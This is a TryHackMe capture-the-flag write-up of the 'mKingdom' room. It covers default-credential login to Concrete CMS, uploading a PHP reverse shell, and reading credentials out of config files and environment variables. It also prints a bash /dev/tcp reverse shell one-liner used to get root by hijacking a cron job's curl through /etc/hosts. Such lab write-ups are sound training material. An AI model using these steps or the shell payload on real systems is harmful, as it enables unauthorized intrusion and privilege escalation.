> For the complete documentation index, see [llms.txt](https://manav-g-krishna.gitbook.io/tryhackme-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://manav-g-krishna.gitbook.io/tryhackme-writeups/mkingdom.md).

# mKingdom

{% embed url="<https://tryhackme.com/r/room/mkingdom>" %}
Room Link
{% endembed %}

This work by Manav G Krishna is licensed under [CC BY-NC 4.0](http://creativecommons.org/licenses/by-nc/4.0/?ref=chooser-v1) <img src="/files/fgutP6VmsOsVHYVe8Cfh" alt="" data-size="line"><img src="/files/J1FStDkVaABJlaGdbdeX" alt="" data-size="line">

**`Machine IP`**: 10.10.54.202

**`Hosts file entry`**: echo '10.10.54.202 mkingdom.thm' | sudo tee -a /etc/hosts

**`Nmap Scan`**:&#x20;

```bash
nmap -p- -A -v --min-rate 100 -oN mkingdom_thm -Pn mkingdom.thm

Nmap scan report for mkingdom.thm (10.10.54.202)
Host is up (0.16s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
85/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: 0H N0! PWN3D 4G4IN
|_http-server-header: Apache/2.4.7 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=6/17%OT=85%CT=1%CU=36511%PV=Y%DS=2%DC=T%G=Y%TM=6670
OS:4B91%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10C%TI=Z%CI=I%TS=8)SEQ(S
OS:P=106%GCD=1%ISR=10D%TI=Z%CI=I%TS=8)SEQ(SP=106%GCD=2%ISR=10E%TI=Z%CI=I%II
OS:=I%TS=8)OPS(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7
OS:%O5=M508ST11NW7%O6=M508ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%
OS:W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S
OS:=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%R
OS:D=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=
OS:0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U
OS:1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DF
OS:I=N%T=40%CD=S)

Uptime guess: 0.010 days (since Mon Jun 17 19:59:48 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE (using port 443/tcp)
HOP RTT       ADDRESS
1   165.85 ms 10.11.0.1
2   166.23 ms mkingdom.thm (10.10.54.202)
```

The scan results shows that we have only one open port, that is port **`85`**, running an **`Apache web server`**.

**`Checking out port 85`**:

<div align="left"><figure><img src="/files/rvotcwySCGHw1mpejJP4" alt=""><figcaption></figcaption></figure></div>

There was nothing interesting in the **`source code`** of the page.

We can download the **`image`** on this page and can **`extract`** the **`metadata`** from it using **`exiftool`** , to see if we get any good information:

<div align="left"><figure><img src="/files/ykl4kkh3HSdvcpz4B91C" alt=""><figcaption></figcaption></figure></div>

**`Commands`**:

```bash
wget http://mkingdom.thm:85/img1.jpg
```

```bash
exiftool img1.jpg
```

<figure><img src="/files/feqeWRT5MiDbLVYS1wxk" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="/files/gy3pu3XmUjIjNuLaYMJm" alt=""><figcaption></figcaption></figure></div>

The **`Creator`** field set to **`b0w53r`** shows that the image was created by **`b0w53r`**.&#x20;

Now we can do some **`directory busting`**:

**`Command`**:

```bash
dirsearch -u http://mkingdom.thm:85/
```

<figure><img src="/files/TF0S1yFeDaWH76XfnXmI" alt=""><figcaption></figcaption></figure>

There is a path named **`/app`**. We can check this out:

<figure><img src="/files/yL6htj6TwxnUl1BvvB1n" alt=""><figcaption></figcaption></figure>

The **`source code`** says that, upon clicking on **`JUMP`** we will be redirected to a **`castle`** page:

<figure><img src="/files/PiJ2Mnbb29tCH98bxIt9" alt=""><figcaption></figcaption></figure>

**`Doing the same`**:

<div align="left"><figure><img src="/files/hv6He2JZLNKd6VbSth8R" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/xIJSf7vJRUZFt9Q4hKkA" alt=""><figcaption></figcaption></figure>

We are now at **`/app/castle`** page.

**`Exploring the page`**:

We can see what **`Wappalyzer`** tells us:

<div align="left"><figure><img src="/files/nd3O7ve1xyvQ1z0aK6pN" alt=""><figcaption></figcaption></figure></div>

The **`CMS`** (**`Content management system`**) being used is **`Concrete CMS`** - **`8.5.2`**.

The same information can be fetched by using a **`tool`** called **`cmseek`** and also by checking out the **`source code`** of the page:

**`Command`**:

```bash
cmseek -u http://mkingdom.thm:85/app/castle/
```

<figure><img src="/files/jJb1Cz3laIcIKLQm9jIA" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/E7xHXtSlizvZIZ7eyQjm" alt=""><figcaption></figcaption></figure>

Towards the **`bottom`** of the page we find this:

<figure><img src="/files/ropTQp3hNsKeaZuYpifN" alt=""><figcaption></figcaption></figure>

A **`Log In`** option. There was nothing of interest in the page's **`source code`** other than the **`CMS version`**.

<figure><img src="/files/ryb1ELCWUp4GEFVICKnU" alt=""><figcaption></figcaption></figure>

Since we know the **`CMS`** being used, we can try to find if there any **`default`** credentials:

<div align="left"><figure><img src="/files/fn86CFB8BjCp8WRFu2vJ" alt=""><figcaption></figcaption></figure></div>

The **`default`** username is **`admin`**, but there is **`no default`** password.&#x20;

Now we can try out a few possible **`default passwords`** such as **`admin`**, **`password`**, **`password123`** etc. The correct **`password`** turned out to be **`password`** itself.

**`Logging in`**:

<div align="left"><figure><img src="/files/Tdpv6POvl5fRIb9CACU0" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/RJRifmST2z2IlCHtInTt" alt=""><figcaption></figcaption></figure>

We are now logged in as **`admin`**.  The **`name`** that we got previously from the **`image`** on the root of the website, not sure what that was for. Now we can try to find some **`exploits`** for the version **`8.5.2`** of **`Concrete CMS`**.

**`Finding exploits`**:

<figure><img src="/files/w1ej69rQZOpNczm6lcCZ" alt=""><figcaption></figcaption></figure>

{% embed url="<https://vulners.com/hackerone/H1:768322>" %}

**`Exploitation steps`**:

<figure><img src="/files/kwU0F24tgn7Sl6nazjIm" alt=""><figcaption></figcaption></figure>

**`Following the same`**:

1. **`Visiting Allowed File Types`**:

<div align="left"><figure><img src="/files/PrDCGQM5cmlmgOyN1QDl" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/vPhkrFvrgbyktbwUWLAM" alt=""><figcaption></figcaption></figure>

2. **`Adding php extension and Saving`**:

<figure><img src="/files/iu9wqlALDKqj7u7uQmx8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Kij4w2uLEId6L5OGyWRA" alt=""><figcaption></figcaption></figure>

3. **`Visiting File Manager`**:

<div align="left"><figure><img src="/files/ejfXRn6Ur7JSeKwdwTGp" alt=""><figcaption></figcaption></figure></div>

4. **`Fetching a PHP payload and Uploading`**:

In the **`POC`**, an **`msfvenom`** payload is what is being used. Instead we can use the **`PHP PentestMonkey`** one from **`revshells.com`**:

{% embed url="<https://www.revshells.com/>" %}

<div align="left"><figure><img src="/files/jbIops3Wj4TG8HdaXB82" alt=""><figcaption></figcaption></figure></div>

Have saved it as **`shell.php`**:

<figure><img src="/files/pmMTRw2zqXsPS8YuhFYF" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/QrbFZQzVmzs4pSp30Tfd" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="/files/ZRZI2anxPjuf4knVHTA3" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/eb8Nbmaw4R2Lyz7bMF05" alt=""><figcaption></figcaption></figure></div>

Click on **`Close`**.&#x20;

The moment we close it we get this **`window`** saying - **`Upload Complete`**:

<figure><img src="/files/5njIejOlq8LP32UoPbGL" alt=""><figcaption></figcaption></figure>

Setting up a listener on port **`4444`**:

<div align="left"><figure><img src="/files/i0rJaQul1RcqsZTVhP9i" alt=""><figcaption></figcaption></figure></div>

Now upon clicking on the **`URL to File`** / **`Tracked URL`** link the **`PHP`** shell must get **`triggered`** and we should be getting a **`connection`** on our listener.

We indeed have got the **`shell`** as **`www-data`**:

<figure><img src="/files/Fg2B7Yjv8RJCJXO9trN4" alt=""><figcaption></figcaption></figure>

**`Stabilizing the shell`**:

<figure><img src="/files/038ycqlRKFoD75r45cbP" alt=""><figcaption></figcaption></figure>

**`Enumeration`**:

We have **`two`** users other than root having a **`console`**, that is **`toad`** and **`mario`**:

<div align="left"><figure><img src="/files/NIBZwU4QvNhZRLCFHgX7" alt=""><figcaption></figcaption></figure></div>

Checking for **`binaries`** that have the **`SUID`** bit set:

**`Command`**:

```bash
find / -perm -u=s -type f 2>/dev/null
```

<figure><img src="/files/yjCTywBMBevGoNtB5jnK" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="/files/5odA87yb3bbDxCqSGg37" alt=""><figcaption></figcaption></figure></div>

The **`cat`** binary has the **`SUID`** bit set:

<figure><img src="/files/gruJ6lvZOiUdhuJ0aFx4" alt=""><figcaption></figcaption></figure>

This means the **`cat`** command will only run as the **`owner`** as far as the **`SUID bit`** is set, in this case, **`toad`**.

So a direct **`root flag`** fetching is **`not`** possible as even after becoming **`toad`**, **`toad`** simply can't **`traverse`** inside **`/root`** directory even if the **`root`** flag had **`read permissions`** for **`others`** (**`toad`** in this case) due to fully **`restrictive default permissions`** of the **`/root`** directory (**`drwx------`**). This also applies even if **`cat`** **`didn't`** have the **`SUID`** bit set. The same **`permission restriction`** is there by **`default`** on the **`/home/[user]`** directories too.

All other users who are neither the **`owner`** nor **`members`** of the **`group`** for the file falls under **`others`**. The **`root flag`** could have been fetched if the **`owner`** of **`cat`** was set to **`root`** along with the **`SUID bit`** set.&#x20;

**`Removing`** the **`SUID bit`** eases **`restrictions`** as once the **`bit`** is removed, **`cat`** command when run, runs as the user **`running the command`** itself. So if we are using **`cat`** after becoming **`mario`**, **`cat`** command runs as **`mario`**, if we are using **`cat`** after becoming **`root`**, **`cat`** command runs as **`root`**. The **`owner`** of the **`binary`** **`doesn't`** have any effect at all.

**`Checking out common directories`**:

This leads us to a **`database.php`** file within the directory - **`/var/www/html/app/castle/application/config`**:

<figure><img src="/files/phXJCatYijRR5dAO4Aph" alt=""><figcaption></figcaption></figure>

The file had **`MySQL`** credentials. The **`username`** being **`toad`**. The first thing that comes to our mind is that we could try to **`get in as toad`** using the found **`password`**. But before this, let us see if we have **`MySQL`** running and if we could possibly **`connect`** to the **`database`** that might contain some information about the other user, **`mario`**.

**`Checking out active network connections`**:

**`Command`**:

```bash
ss -tulpen
```

<figure><img src="/files/aJm748SPmG2PUSr8MfXV" alt=""><figcaption></figcaption></figure>

And we indeed notice port **`3306`** running & listening for connections on the machine's **`localhost`**.

**`Connecting  to the database`**:

**`Command`**:

```bash
mysql -u toad -p  //The password will be prompted for
```

<figure><img src="/files/pZnQbhq0Y40ZB8l0uiqQ" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="/files/P6MqvpK2VTdvgoYKQ4Q9" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/0DVZmacRO5DZ3NvfiQ4E" alt=""><figcaption></figcaption></figure>

The only thing that we find is the **`admin's hashed password`** (**`password`**), the **`Concrete CMS`** **`login password`** that we had used initially.&#x20;

We can confirm it is the **`same`** post **`cracking`** it:

<div align="left"><figure><img src="/files/hIsURRsZbSSjILYvhuf3" alt=""><figcaption></figcaption></figure></div>

Nothing of interest in the **`database`**.

Now we try to get in as **`toad`** using **`su`**:

<div align="left"><figure><img src="/files/iAI8HtqyqDG3uUj20R2o" alt=""><figcaption></figcaption></figure></div>

As expected we are the user **`toad`**.

Now we can **`remove`** the **`SUID`** bit being set on **`cat`**:

**`Command`**:

```bash
chmod u-s /bin/cat
```

<div align="left"><figure><img src="/files/GlEI9RgyCnfA83dqrvqj" alt=""><figcaption></figcaption></figure></div>

Now the **`s`** is replaced with **`w`**. The **`SUID bit`** has been removed.&#x20;

We don't have the **`user flag`** in **`toad's`** **`home`** directory. Let us now do some more **`enumeration`**.

**`Enumeration`**:

We can't run **`sudo`**:

<div align="left"><figure><img src="/files/H57MeJOnMe0eSgrRqf6U" alt=""><figcaption></figcaption></figure></div>

The **`.bashrc`** files gives us a **`base64`** encoded **`password token`**:

<figure><img src="/files/ACeQ0mJusGColikXCSJD" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="/files/JLDzPB4cfnDy1p80Dex5" alt=""><figcaption></figcaption></figure></div>

The **`same`** can be found out by fetching the **`environment variables`** too:

<figure><img src="/files/3lewxt2PduNxoGxDcD3Z" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1SXNzaVPujOsu33BCfJP" alt=""><figcaption></figcaption></figure>

**`Decoding the PWD_TOKEN`**:

**`Command`**:

```bash
echo -n aWthVGVOVEFOdEVTCg== | base64 -d
```

<div align="left"><figure><img src="/files/SIeSrl2jst84O4TzeJ0F" alt=""><figcaption></figcaption></figure></div>

We get the **`password`**. This might be **`mario's password`**. We can try to **`get in`** as **`mario`** using **`su`**:

<div align="left"><figure><img src="/files/c1HmxVnMneeILqnTdDth" alt=""><figcaption></figcaption></figure></div>

We are now the user **`mario`**.

**`Enumeration`**:

We have the user flag in **`mario's`** **`home`** directory:

<figure><img src="/files/zrQJPw9F4lxPt8kNgwpu" alt=""><figcaption></figcaption></figure>

Firstly we are able to use **`cat`** as we had **`removed`** the **`SUID bit`** when we were **`toad`**. So as mentioned before now **`cat`** when used **`runs as mario`** itself. Secondly the **`user flag's`** file **`owner`** and **`group`** is **`root`** and due to this **`mario`** falls under **`others`**. The main reason why we are able to still **`read`** the **`flag`** is because, **`others`** have **`read permissions`** on the **`file`** (**`r--`**).

If we **`hadn't removed`** the **`SUID bit`** before, upon trying to **`cat`** the **`user flag`** we would be getting this:

<div align="left"><figure><img src="/files/2hz7KAbdLa8iXNHTa4aK" alt=""><figcaption></figcaption></figure></div>

This is because even though **`toad`** too falls under **`others`** itself in the context of the **`user flag`** and since **`others`** can read it even with the **`SUID bit`** set, it just **`doesn't work`** due to the **`permissions`** (**`drwx------`**) on **`mario's`** **`home`** directory (**`/home/mario`**). So **`toad`** **`can't`** even **`traverse`** it in the first place to fetch the **`user flag`**.

But we can still **`read`** the **`flag`** using other **`utilities`** as only **`cat`** is what **`can't`** be used (**`without removing the bit`**):

<div align="left"><figure><img src="/files/hNPdJL7c0KbzF6OHAVrh" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/IVdokl5t8mlUNWPrHxo5" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/SQ8h1B6fV5SxGTjh66DS" alt=""><figcaption></figcaption></figure></div>

**`Privilege Escalation`**:

Checking for **`sudo`** **`rights`**/**`privs`**:

<figure><img src="/files/QMGFLMacPqTqXdSn46At" alt=""><figcaption></figcaption></figure>

The **`id`** command can be run with **`sudo`** rights:

<div align="left"><figure><img src="/files/mioGysW4Zs9N4csPQD0Y" alt=""><figcaption></figcaption></figure></div>

But this obviously seems to be something kept to derail us, a **`rabbit hole`**. There are **`no`** methods available to make use of **`id`** to **`privilege escalate`**.&#x20;

We also have **`pwfeedback`** option enabled in the **`sudoers`** entry. **`pwfeedback`** is a display feature to show an **`asterisk`** when an user writes a character of its **`password`**.&#x20;

<figure><img src="/files/M5BEIWGYj1y2kzf91YzD" alt=""><figcaption></figcaption></figure>

To confirm if it is **`enabled`** we can see if **`asterisks`** are coming up when we enter **`mario's`** **`password`**:

<div align="left"><figure><img src="/files/i7hjVUKdUyNYn1Tbes3s" alt=""><figcaption></figcaption></figure></div>

We indeed see it. This leads us to, **`CVE-2019-18634`**.

**`CVE-2019-18634`**:

It is a **`sudo`** **`LPE vulnerability`** that needs **`pwfeedback`** to be **`enabled`** for it to work. It is a **`BOF`** exploit.

<figure><img src="/files/n5RCDg8uPa66yb49aY2I" alt=""><figcaption></figcaption></figure>

But the **`sudo`** version must be lesser than **`1.8.26`** for it to work.

Checking out the **`sudo`** version:

<div align="left"><figure><img src="/files/kz96txcC048X0Utm1ShX" alt=""><figcaption></figcaption></figure></div>

The version running on the machine is **`1.8.9p5`**. So the exploit **`won't`** work.

Now let us see if we have any **`cron jobs`** running. For this **`pspy`** can be used:

{% embed url="<https://github.com/DominicBreuker/pspy>" %}

The machine is **`64-bit`**:

<figure><img src="/files/76kJI5JXf98WerR4bJSB" alt=""><figcaption></figcaption></figure>

So we have to use **`64-bit`** compatible **`pspy`**:

<div align="left"><figure><img src="/files/cR85iTIgmkdrsIyngQJk" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/ail5vMlTkzpwUwlFtXYt" alt=""><figcaption></figcaption></figure></div>

Sending it to the **`target machine`** post setting up a **`python server`**:

<div align="left"><figure><img src="/files/Xi91J9GSKr0WAANwVZCm" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/PyXjUOWo2EWNj48DQYnk" alt=""><figcaption></figcaption></figure></div>

**`Command`**:

```bash
wget http://10.11.75.84:4545/pspy64  //The IP here is the tun0 interface IP
```

<figure><img src="/files/CilxoYZ53TmzslhkQ6F1" alt=""><figcaption></figcaption></figure>

**`Running it`**:

<figure><img src="/files/FnxUfusQQPfDQDUecHLP" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9dwoSh0ZNnArJBHAFqDj" alt=""><figcaption></figcaption></figure>

This **`cron job`** running as **`root`** (**`UID=0`**) stands out to us:

```bash
curl mkingdom.thm:85/app/castle/application/counter.sh
```

A **`curl`** request is being sent to **`mkingdom.thm`** on port **`85`** to **`access`** and **`execute`** a **`counter.sh`** script located at **`/app/castle/application/`**.

**`Checking out the scripts permissions`**:

<div align="left"><figure><img src="/files/5pK2HQJ4slpFOtGAs1Hn" alt=""><figcaption></figcaption></figure></div>

Only **`root`** has **`write access`** to it, we as the user **`mario`** has only **`read permissions`**. So **`editing`** this file to place a **`reverse shell`** is now out of the picture.

But the **`curl`** request is being sent to the host **`mkingdom.thm`**. So let us check out the **`/etc/hosts`** file as this is used to map **`hostnames`** to **`IP addresses`**.

<div align="left"><figure><img src="/files/FX34n43An5fNUoJTfHpI" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/m2C02ZqwsnXboxAAcxL0" alt=""><figcaption></figcaption></figure></div>

Here we are able to **`cat`** the **`hosts`** file out as the **`file`** has **`read permissions`** for **`others`** and mainly because the **`/etc`** directory has **`execute permissions`** for **`others`**. So it **`doesn't`** matter even if the **`SUID bit`** is set on **`cat`** with **`toad`** being the **`owner`** as when we run: **`cat /etc/hosts`** it will still run as **`toad`** and **`toad`** falls into **`others`** and due to the **`execute permission`** on **`/etc`**, **`toad`** **`will be able`** to **`traverse`** this directory.&#x20;

<div align="left"><figure><img src="/files/wKvBaRJyNwVlHCX1t1Vr" alt=""><figcaption></figcaption></figure></div>

The **`hosts`** file's **`group`** is **`mario`** and we as **`mario`** have **`write permissions`** on the file.

**`Thought process`**:

Based on the **`cron job`** command, what we could do is **`edit`** the **`hosts file entry`** to point **`mkingdom.thm`** to our **`IP`** (**`tun0`**) and we could place a **`counter.sh`** file containing the **`reverse shell`** within **`app/castle/application/`**, post **`creating`** this exact **`directory structure`** on our **`attacker machine`**. We would also have to set up a **`python server`** on port **`85`**. When the **`cron job`** runs, the **`curl`** request hits our **`IP`** and the **`/app/castle/application/counter.sh`** will be **`served`** via port **`85`** and we would get a **`root shell`** on the listener that we set up.

**`Editing the file`**:

<div align="left"><figure><img src="/files/jnF9hSdwdkj4kIn65bsQ" alt=""><figcaption></figcaption></figure></div>

**`Creating the directory`**:

**`Command`**:

```bash
mkdir -p app/castle/application/
```

<div align="left"><figure><img src="/files/Iklc8RBVrGA8T0fBY1Ya" alt=""><figcaption></figcaption></figure></div>

The **`counter.sh`** file **`contents`**:

```bash
bash -c "bash -i >& /dev/tcp/10.11.75.84/445 0>&1"
```

<figure><img src="/files/KWo1KqrdqpCscXaDvz06" alt=""><figcaption></figcaption></figure>

Setting up the **`python server`**:

<div align="left"><figure><img src="/files/QydmRcCu2OCTIw3qafD2" alt=""><figcaption></figcaption></figure></div>

Setting up a listener on port **`445`**:

<div align="left"><figure><img src="/files/C3n88pvirjbOozkvlEbO" alt=""><figcaption></figcaption></figure></div>

Now we just wait for the **`cron job`** to **`run`**.

After a few seconds we can see that the **`counter.sh`** file got **`served`** from **`our machine`**:

<figure><img src="/files/U4wXy2ox6BZPB74ctRAA" alt=""><figcaption></figcaption></figure>

Now let us **`check`** out the listener:

<figure><img src="/files/b3iRLUrasbWYzkC0YUVt" alt=""><figcaption></figcaption></figure>

We indeed have got a **`connection`** as **`root`**.

The **`root flag`** can be **`cat`** ed out as we had **`removed`** the **`SUID bit`** from it when we were **`toad`** itself:

<div align="left"><figure><img src="/files/YExmYEFLq3w0zLa9Uvyr" alt=""><figcaption></figcaption></figure></div>

Now if the **`bit`** was still set, we would get this:

<div align="left"><figure><img src="/files/l1ga8waxQJox5CJ8jYxd" alt=""><figcaption></figcaption></figure></div>

So we can use the methods that we did before to **`read`** the **`flag`** (**`more, less, head, tail`**).&#x20;

Default **`/root`** directory **`permissions`**:

<div align="left"><figure><img src="/files/1Q8zTCDwi1D60XGtDkCT" alt=""><figcaption></figcaption></figure></div>

Only **`read`**, **`write`** & **`execute`** for the **`owner`**, that is **`root`**.

We can also change the **`/root`** directories **`permissions`**, so that **`cat`** with the **`bit`** set which is running as **`toad`** can **`traverse`** (**`execute permission`**) the **`/root`** directory when **`cat /root/root.txt`** is run and **`will be`** able to **`read`** the **`flag`** as it has **`read permissions`** (**`r--`**) for **`others`**, under which **`toad`** falls:

**`Command`**:

```bash
chmod 755 /root
```

<div align="left"><figure><img src="/files/5WnkOLrl4UjJFazMSH0y" alt=""><figcaption></figcaption></figure></div>

Room solved!!

{% embed url="<https://tryhackme.com/p/gravereaper2038>" %}
Profile Link
{% endembed %}
